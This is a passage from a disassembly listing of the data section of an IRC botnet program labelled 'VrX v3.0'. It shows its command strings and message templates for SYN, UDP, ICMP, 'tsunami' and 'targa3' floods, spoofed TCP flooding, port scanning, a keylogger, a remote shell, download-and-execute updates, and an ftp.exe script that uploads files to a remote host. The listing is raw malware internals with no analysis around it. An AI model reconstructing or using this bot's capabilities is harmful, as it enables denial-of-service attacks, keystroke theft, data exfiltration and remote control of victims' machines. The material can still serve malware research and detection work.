(%s!%s).',0 align 10h aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7C52o align 4 unk_429BC8 db 3 ; DATA XREF: sub_401ACD+7C14o a81VrxFailedPas db '8,1-VrX- *Failed pass auth by: (%s!%s).',0 align 4 aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7C02o ; sub_401ACD+7C69o align 10h aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7BEBo align 4 asc_429C48: ; DATA XREF: sub_401ACD+7BBBo unicode 0, <~>,0 unk_429C4C db 3 ; DATA XREF: sub_401ACD+7B6Bo a81VrxRandomNic db '8,1-VrX- Random nick change: %s',0 align 10h unk_429C70 db 3 ; DATA XREF: sub_401ACD+7AFDo a81VrxReconnect db '8,1-VrX- Reconnecting in %s seconds',0 align 4 unk_429C98 db 3 ; DATA XREF: sub_401ACD+7AB9o a81VrxReconne_0 db '8,1-VrX- Reconnecting in %s ms',0 unk_429CB8 db 3 ; DATA XREF: sub_401ACD+7A99o a81VrxNickChang db '8,1-VrX- Nick changed to: ',27h,'%s',27h,'.',0 align 4 unk_429CDC db 3 ; DATA XREF: sub_401ACD+7A7Do a81VrxJoinedCha db '8,1-VrX- Joined channel: ',27h,'%s',27h,'.',0 unk_429CFC db 3 ; DATA XREF: sub_401ACD+7A5Ao a81VrxPartedCha db '8,1-VrX- Parted channel: ',27h,'%s',27h,'.',0 unk_429D1C db 3 ; DATA XREF: sub_401ACD+7A3Eo a81VrxIrcRawS_ db '8,1-VrX- IRC Raw: %s.',0 align 4 unk_429D34 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40948Ao db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToKillTh db '- Failed to kill thread: %s.',0 align 10h unk_429D60 db 2Dh ; - ; DATA XREF: sub_401ACD+79B6o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aKilledThreadS_ db '- Killed thread: %s.',0 align 4 unk_429D84 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40943Do db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aNoActiveThread db '- No active threads found.',0 unk_429DAC db 2Dh ; - ; DATA XREF: sub_401ACD+7966o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aStoppedDThread db '- Stopped: %d thread(s).',0 align 4 aAll db 'all',0 ; DATA XREF: sub_401ACD+794Co unk_429DD8 db 3 ; DATA XREF: sub_401ACD+7848o a81VrxPrefixCha db '8,1-VrX- Prefix changed to: ',27h,'%c',27h,'.',0 align 4 unk_429DFC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409300o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0 unk_429E20 db 2Dh ; - ; DATA XREF: sub_401ACD+7829o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFileOpenedS db ' File opened: %s',0 align 10h unk_429E40 db 3 ; DATA XREF: sub_401ACD+7809o a81VrxServerCha db '8,1-VrX- Server changed to: ',27h,'%s',27h,'.',0 align 4 unk_429E64 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4092BDo db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0 align 4 unk_429E8C db 2Dh ; - ; DATA XREF: sub_401ACD+77C2o db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aLookupSS_ db '- Lookup: %s -> %s.',0 align 4 unk_429EAC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409255o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTermin db ' Failed to terminate process: %s',0 align 4 unk_429EDC db 2Dh ; - ; DATA XREF: sub_401ACD+777Eo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledS db ' Process killed: %s',0 unk_429EFC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4091F5o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTerm_0 db ' Failed to terminate process ID: %s',0 unk_429F2C db 2Dh ; - ; DATA XREF: sub_401ACD+7721o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledI db ' Process killed ID: %s',0 align 10h dword_429F50 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h ; DATA XREF: sub_401ACD+76DFo dd 27732527h, 2Eh unk_429F6C db 2Dh ; - ; DATA XREF: sub_401ACD+7667o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aSendFileSUserS db '- Send File: %s, User: %s.',0 dword_429F90 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah ; DATA XREF: sub_401ACD+75ECo dd 0 unk_429FA8 db 2Dh ; - ; DATA XREF: sub_401ACD+75BFo db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0 align 4 dword_429FE8 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah ; DATA XREF: sub_401ACD+7550o dd 2Eh dword_42A000 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h ; DATA XREF: sub_401ACD:loc_408F9Do dd 746E6573h, 2Eh unk_42A01C db 2Dh ; - ; DATA XREF: sub_401ACD+74C9o db 3, 34h, 2 db 6Dh ; m db 69h, 72h, 63h db 2 db 3, 2Dh, 20h aClientNotOpen_ db 'Client not open.',0 align 4 dword_42A03C dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh ; DATA XREF: sub_401ACD+748Fo dd 732520h unk_42A054 db 2Dh ; - ; DATA XREF: sub_401ACD+7481o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aErrorSendingTo db '- Error sending to remote shell.',0 align 10h asc_42A080: ; DATA XREF: sub_401ACD+7469o ; sub_4100B4+FBo ... dw 0Ah unicode 0, <>,0 unk_42A084 db 3 ; DATA XREF: sub_401ACD+7441o a81VrxReadFileF db '8,1-VrX- Read file failed: %s',0 align 4 unk_42A0A4 db 3 ; DATA XREF: sub_401ACD+7436o a81VrxReadFileC db '8,1-VrX- Read file complete: %s',0 align 4 aUnknowModeType db 'Unknow mode type.',0 ; DATA XREF: sub_401ACD:loc_408E97o align 4 aFailedToStartL db 'Failed to start logging thread, error: <%d>.',0 ; DATA XREF: sub_401ACD+73B4o align 4 aNormalKeyLogge db 'Normal key logger active.',0 ; DATA XREF: sub_401ACD+733Do align 4 aNormal_0 db 'normal',0 ; DATA XREF: sub_401ACD+72EDo align 10h aKeylogerAlread db 'Keyloger Already running.',0 ; DATA XREF: sub_401ACD+7263o align 4 aVrxV3_0SitesKe db 'VrX v3.0 sites keylogger active.',0 ; DATA XREF: sub_401ACD+7236o ; sub_401ACD+72E5o align 10h aKeylog_0 db 'Keylog',0 ; DATA XREF: sub_401ACD+7231o align 4 unk_42A178 db 3 ; DATA XREF: sub_401ACD+7216o a81VrxGethostS_ db '8,1-VrX- Gethost: %s.',0 align 10h unk_42A190 db 3 ; DATA XREF: sub_401ACD+71D2o a81VrxUnableToE db '8,1-VrX- Unable to extract Gethost command.',0 align 10h unk_42A1C0 db 3 ; DATA XREF: sub_401ACD+71B6o a81VrxGethostSC db '8,1-VrX- Gethost: %s, Command: %s',0 align 4 unk_42A1E4 db 3 ; DATA XREF: sub_401ACD+7119o a81VrxAliasAdde db '8,1-VrX- Alias added: %s.',0 align 10h unk_42A200 db 3 ; DATA XREF: sub_401ACD+70E7o a81VrxPrivmsgSS db '8,1-VrX- Privmsg: %s: %s.',0 align 4 unk_42A21C db 3 ; DATA XREF: sub_401ACD+7096o a81VrxActionSS_ db '8,1-VrX- Action: %s: %s.',0 align 4 dword_42A238 dd 312C3803h, 5872562Dh, 7943202Dh, 2E656C63h, 0 ; DATA XREF: sub_401ACD+7028o dword_42A24C dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+6FEEo ; sub_401ACD+7A49o unk_42A258 db 3 ; DATA XREF: sub_401ACD+6FC7o a81VrxModeChang db '8,1-VrX- Mode change: %s',0 align 4 aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+6FB6o align 10h dword_42A280 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h ; DATA XREF: sub_401ACD+6F8Do dd 25203A29h, 73h dword_42A29C dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h ; DATA XREF: sub_401ACD+6F1Fo dd 203A2973h, 7325h dword_42A2B8 dd 45444F4Dh, 732520h ; DATA XREF: sub_401ACD+6EC7o dword_42A2C0 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh ; DATA XREF: sub_401ACD+6E95o dd 203A2973h, 7325h dword_42A2DC dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6E1Do dword_42A2E8 dd 0A0D7325h, 0 ; DATA XREF: sub_401ACD+6DEBo ; sub_401ACD+6E71o ... dword_42A2F0 dd 54524150h, 732520h ; DATA XREF: sub_401ACD+6DB6o dword_42A2F8 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6D79o aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_42A334 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6D0Eo aFloodingSForSS db '- Flooding %s for %s seconds.',0 align 10h unk_42A360 db 2Dh ; - ; DATA XREF: sub_401ACD+6CA8o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42A39C db 2Dh ; - ; DATA XREF: sub_401ACD+6C39o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0 unk_42A3D0 db 3 ; DATA XREF: sub_401ACD+6B9Do a81VrxRepeatNot db '8,1-VrX- Repeat not allowed in command line: %s',0 align 4 unk_42A404 db 3 ; DATA XREF: sub_401ACD+6B60o a81VrxRepeatS db '8,1-VrX- Repeat: %s',0 align 4 dword_42A41C dd 312C3803h, 5872562Dh, 6544202Dh, 2E79616Ch, 0 ; DATA XREF: sub_401ACD:loc_408591o dword_42A430 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_401ACD+6A84o ; sub_401ACD+6B37o ... dword_42A440 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD:loc_4084F0o aBotIdMustBeDif db '- Bot ID must be different than current running process.',0 align 4 dword_42A488 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6A19o aFailedToStartD db '- Failed to start download thread, error: <%d>.',0 dword_42A4C4 dd 234032Dh, 61526159h, 3022162h ; DATA XREF: sub_401ACD+69AAo aDownloadingUpd db '- Downloading update from: %s.',0 align 10h aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401ACD+6904o align 4 dword_42A4FC dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h ; DATA XREF: sub_401ACD+68A2o dd 7325203Ah, 0 unk_42A518 db 2Dh ; - ; DATA XREF: sub_401ACD+6897o db 3, 34h, 2 db 65h ; e db 78h, 65h, 63h db 2 db 3, 2Dh, 20h aCouldnTExecute db 'Couldn',27h,'t execute file.',0 align 4 unk_42A53C db 2Dh ; - ; DATA XREF: sub_401ACD+67FDo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aFailedToStar_1 db 'Failed to start search thread, error: <%d>.',0 unk_42A578 db 2Dh ; - ; DATA XREF: sub_401ACD+6787o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingForFi db 'Searching for file: %s in: %s.',0 align 4 dword_42A5A8 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD:loc_40818Do ; sub_401ACD:loc_4091C7o unk_42A5B4 db 2Dh ; - ; DATA XREF: sub_401ACD+66ABo db 3, 34h, 2 db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 4 unk_42A5D8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408156o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0 align 10h unk_42A610 db 2Dh ; - ; DATA XREF: sub_401ACD+667Fo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFailedToStar_2 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42A648 db 2Dh ; - ; DATA XREF: sub_401ACD+660Fo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0 align 4 dword_42A674 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+658Co aFailedToStar_3 db '- Failed to start clone thread, error: <%d>.',0 align 10h dword_42A6B0 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+651Do aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0 align 10h unk_42A6E0 db 2Dh ; - ; DATA XREF: sub_401ACD+64A4o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFailedToStar_4 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42A718 db 2Dh ; - ; DATA XREF: sub_401ACD+6435o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0 align 4 unk_42A748 db 2Dh ; - ; DATA XREF: sub_401ACD+63ABo db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFailedToStar_5 db '- Failed to start flood thread, error: <%d>.',0 align 10h unk_42A780 db 2Dh ; - ; DATA XREF: sub_401ACD+633Co db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0 align 10h unk_42A7B0 db 2Dh ; - ; DATA XREF: sub_401ACD+62C3o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFailedToStar_6 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42A7E8 db 2Dh ; - ; DATA XREF: sub_401ACD+6254o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0 align 4 unk_42A824 db 2Dh ; - ; DATA XREF: sub_401ACD+61DBo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aFailedToStartT db 'Failed to start transfer thread, error: <%d>.',0 align 4 dword_42A864 dd 234032Dh, 61526159h, 3022162h ; DATA XREF: sub_401ACD+616Co aDownloadingUrl db '- Downloading URL: %s to: %s.',0 align 10h unk_42A890 db 2Dh ; - ; DATA XREF: sub_401ACD+609Do db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0 align 4 unk_42A8D4 db 2Dh ; - ; DATA XREF: sub_401ACD+602Eo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0 unk_42A910 db 3 ; DATA XREF: sub_401ACD+5F31o a81Sc@nPortScan db '8,1-SC@N- Port scan started: %s:%d with delay: %d(ms).',0 aSSS_1 db '[%s] <%s> %s',0 ; DATA XREF: sub_401ACD+5E85o align 4 aSSS_2 db '[%s] * %s %s',0 ; DATA XREF: sub_401ACD+5DB0o align 4 dword_42A968 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401ACD+5D22o ; sub_401ACD+7074o unk_42A974 db 2Dh ; - ; DATA XREF: sub_401ACD+5CC0o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0 align 10h unk_42A9B0 db 2Dh ; - ; DATA XREF: sub_401ACD+5C51o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStarte db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0 align 10h unk_42AA00 db 3 ; DATA XREF: sub_401ACD+5BBAo ; sub_401ACD+5FA0o a81Sc@nFailedTo db '8,1-SC@N- Failed to start scan thread, error: <%d>.',0 align 4 unk_42AA38 db 3 ; DATA XREF: sub_401ACD+5B4Bo a81Sc@nSPortSca db '8,1-SC@N- %s Port Scan started on %s:%d with a delay of %d second' db 's for %d minutes using %d threads.',0 align 10h unk_42AAA0 db 3 ; DATA XREF: sub_401ACD+59D5o a81Sc@nFailed_0 db '8,1-SC@N- Failed to start scan, no IP specified.',0 align 4 unk_42AAD4 db 3 ; DATA XREF: sub_401ACD+5978o a81Sc@nFailed_1 db '8,1-SC@N- Failed to start scan, port is invalid.',0 align 4 unk_42AB08 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_407320o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFileS db '- Uploading file: %s to: %s failed.',0 align 4 unk_42AB38 db 2Dh ; - ; DATA XREF: sub_401ACD+584Co db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFil_0 db '- Uploading file: %s to: %s',0 align 10h aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401ACD+5835o aSS_1 db '-s:%s',0 ; DATA XREF: sub_401ACD+581Eo align 10h aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401ACD+57FBo db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 4 aAb db 'ab',0 ; DATA XREF: sub_401ACD+57D7o align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401ACD+57C6o align 4 unk_42ABA8 db 2Dh ; - ; DATA XREF: sub_401ACD+576Do db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aFileNotFoundS_ db '- File not found: %s.',0 align 4 aUpload db 'upload',0 ; DATA XREF: sub_401ACD+574Ao align 10h unk_42ABD0 db 3 ; DATA XREF: sub_401ACD+5714o a81Sc@nAlreadyD db '8,1-SC@N- Already %d scanning threads. Too many specified.',0 unk_42AC0C db 2Dh ; - ; DATA XREF: sub_401ACD+56B5o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aFailedToStar_8 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42AC44 db 2Dh ; - ; DATA XREF: sub_401ACD+564Ao db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 4 unk_42AC8C db 2Dh ; - ; DATA XREF: sub_401ACD+5599o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aMessageHasBeen db '- Message has been sent successfuly',0 align 10h unk_42ACC0 db 2Dh ; - ; DATA XREF: sub_401ACD+5565o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aFailedToSendMe db '- Failed to send message, error <%i>.',0 align 4 unk_42ACF4 db 2Dh ; - ; DATA XREF: sub_401ACD+5541o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aNetsendDoesNot db '- NetSend does not work on Win9x systems',0 align 4 unk_42AD2C db 2Dh ; - ; DATA XREF: sub_401ACD+549Fo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aSendingMessage db '- Sending message %s times to %s using name %s',0 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5482o align 10h unk_42AD80 db 2Dh ; - ; DATA XREF: sub_401ACD+546Do db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aFailedToStar_9 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42ADB8 db 2Dh ; - ; DATA XREF: sub_401ACD+53FEo db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 10h unk_42AE00 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406E1Do db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0 align 4 unk_42AE38 db 2Dh ; - ; DATA XREF: sub_401ACD+5346o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aFailedToSta_10 db '- Failed to start flood thread, error: <%d>.',0 align 10h unk_42AE70 db 2Dh ; - ; DATA XREF: sub_401ACD+52CCo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0 align 4 aNormal db 'Normal',0 ; DATA XREF: sub_401ACD+52BCo align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401ACD+52B5o unk_42AEB4 db 2Dh ; - ; DATA XREF: sub_401ACD+521Ao db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFloodTy db '- Invalid flood type specified.',0 align 10h aRandom_0 db 'random',0 ; DATA XREF: sub_401ACD+520Ao align 4 aAck db 'ack',0 ; DATA XREF: sub_401ACD+51F3o aHcon db 'hcon',0 ; DATA XREF: sub_401ACD+517Fo align 4 aHttpcon db 'httpcon',0 ; DATA XREF: sub_401ACD+516Co unk_42AEFC db 2Dh ; - ; DATA XREF: sub_401ACD+511Do db 3, 34h, 2 db 65h ; e db 6Dh, 61h, 69h db 6Ch ; l db 2, 3, 2Dh aMessageSentToS db ' Message sent to %s.',0 align 10h aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401ACD+50A9o db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 aEmail db 'email',0 ; DATA XREF: sub_401ACD+4FBEo align 4 aTcp db 'tcp',0 ; DATA XREF: sub_401ACD+4FA7o aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401ACD+4F90o align 4 aVncHttpHostCha db 'VNC: HTTP Host Changed To: %s',0 ; DATA XREF: sub_401ACD+4F66o align 4 aVnchost db 'vnchost',0 ; DATA XREF: sub_401ACD+4F48o aP: ; DATA XREF: sub_401ACD+4F31o ; ___:00438AF0o unicode 0, <p>,0 aPing_0 db 'ping',0 ; DATA XREF: sub_401ACD+4F1Ao align 4 aPingflood db 'pingflood',0 ; DATA XREF: sub_401ACD+4F03o align 4 aNs db 'ns',0 ; DATA XREF: sub_401ACD+4EECo align 4 aNetsend db 'netsend',0 ; DATA XREF: sub_401ACD+4ED5o aU: ; DATA XREF: sub_401ACD+4EBEo ; ___:00438B00o unicode 0, <u>,0 aUdp db 'udp',0 ; DATA XREF: sub_401ACD+4EA7o aUdpflood db 'udpflood',0 ; DATA XREF: sub_401ACD+4E90o align 4 aAd db 'ad',0 ; DATA XREF: sub_401ACD+4E79o align 4 aAdvscan db 'advscan',0 ; DATA XREF: sub_401ACD+4E62o aPsc db 'psc',0 ; DATA XREF: sub_401ACD+4E4Bo aPortscan db 'portscan',0 ; DATA XREF: sub_401ACD+4E34o align 10h aC_a db 'c_a',0 ; DATA XREF: sub_401ACD+4E0Eo aC_action db 'c_action',0 ; DATA XREF: sub_401ACD+4DF7o align 10h aC_pm db 'c_pm',0 ; DATA XREF: sub_401ACD+4DE0o align 4 aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401ACD+4DC9o align 4 aSc db 'sc',0 ; DATA XREF: sub_401ACD+4DB2o align 4 aScan db 'scan',0 ; DATA XREF: sub_401ACD+4D9Bo align 10h aRd db 'rd',0 ; DATA XREF: sub_401ACD+4D84o align 4 aRedirect db 'redirect',0 ; DATA XREF: sub_401ACD+4D6Do align 10h aNazel3 db 'NAZEL3',0 ; DATA XREF: sub_401ACD+4D3Fo ; sub_401ACD+4D56o align 4 aWonk db 'wonk',0 ; DATA XREF: sub_401ACD+4D28o align 10h aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401ACD+4D11o align 4 dword_42B05C dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4D04o aFailedToSta_11 db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_42B098 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4C95o aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0 aSkysyn db 'skysyn',0 ; DATA XREF: sub_401ACD+4C12o align 10h aSyn db 'syn',0 ; DATA XREF: sub_401ACD+4BFBo ; sub_401ACD+51DBo aSynflood db 'synflood',0 ; DATA XREF: sub_401ACD+4BE4o align 10h unk_42B0E0 db 2Dh ; - ; DATA XREF: sub_401ACD+4BD7o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aFailedToSta_12 db '- Failed to start flood thread, error: <%d>.',0 align 10h aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401ACD+4B00o align 4 aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401ACD+4AE9o ; sub_413694:loc_4137C0o aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401ACD+4AD2o ; sub_413694:loc_4137A4o align 4 aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401ACD+4ABBo ; sub_413694+F1o align 10h aClone_0 db 'clone',0 ; DATA XREF: sub_401ACD+4A8Do align 4 aIcmp db 'icmp',0 ; DATA XREF: sub_401ACD+4A64o align 10h aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401ACD+4A4Do align 4 aMv db 'mv',0 ; DATA XREF: sub_401ACD+4A36o align 10h aRename db 'rename',0 ; DATA XREF: sub_401ACD+4A1Fo align 4 aFf db 'ff',0 ; DATA XREF: sub_401ACD+4A08o align 4 aFindfile db 'findfile',0 ; DATA XREF: sub_401ACD+49F1o align 4 aE: ; DATA XREF: sub_401ACD+49DAo unicode 0, <e>,0 aExecute db 'execute',0 ; DATA XREF: sub_401ACD+49C3o aHadeth3 db 'HADETH3',0 ; DATA XREF: sub_401ACD+4995o ; sub_401ACD+49ACo aDe db 'de',0 ; DATA XREF: sub_401ACD+497Eo align 10h aDelay db 'delay',0 ; DATA XREF: sub_401ACD+4967o align 4 aRp db 'rp',0 ; DATA XREF: sub_401ACD+4950o align 4 aRepeat db 'repeat',0 ; DATA XREF: sub_401ACD+4939o ; sub_401ACD+6B0Co align 4 aTsn db 'tsn',0 ; DATA XREF: sub_401ACD+4922o aTsunami db 'tsunami',0 ; DATA XREF: sub_401ACD+490Bo aT3 db 't3',0 ; DATA XREF: sub_401ACD+48F4o align 4 aTarga3 db 'targa3',0 ; DATA XREF: sub_401ACD+48DDo align 4 aC_p db 'c_p',0 ; DATA XREF: sub_401ACD+48C6o aC_part db 'c_part',0 ; DATA XREF: sub_401ACD+48AFo align 4 aC_j db 'c_j',0 ; DATA XREF: sub_401ACD+4898o aC_join db 'c_join',0 ; DATA XREF: sub_401ACD+4881o align 4 aC_n db 'c_n',0 ; DATA XREF: sub_401ACD+486Ao aC_nick db 'c_nick',0 ; DATA XREF: sub_401ACD+4853o align 10h aC_m db 'c_m',0 ; DATA XREF: sub_401ACD+483Co aC_mode db 'c_mode',0 ; DATA XREF: sub_401ACD+4825o align 4 aC_r db 'c_r',0 ; DATA XREF: sub_401ACD+480Eo aC_raw db 'c_raw',0 ; DATA XREF: sub_401ACD+47F7o align 4 aM: ; DATA XREF: sub_401ACD+47E0o ; ___:004387C8o ... unicode 0, <m>,0 aCy db 'cy',0 ; DATA XREF: sub_401ACD+47B2o align 10h aCycle db 'cycle',0 ; DATA XREF: sub_401ACD+479Bo align 4 aA: ; DATA XREF: sub_401ACD+4784o unicode 0, <a>,0 aAction db 'action',0 ; DATA XREF: sub_401ACD+476Do 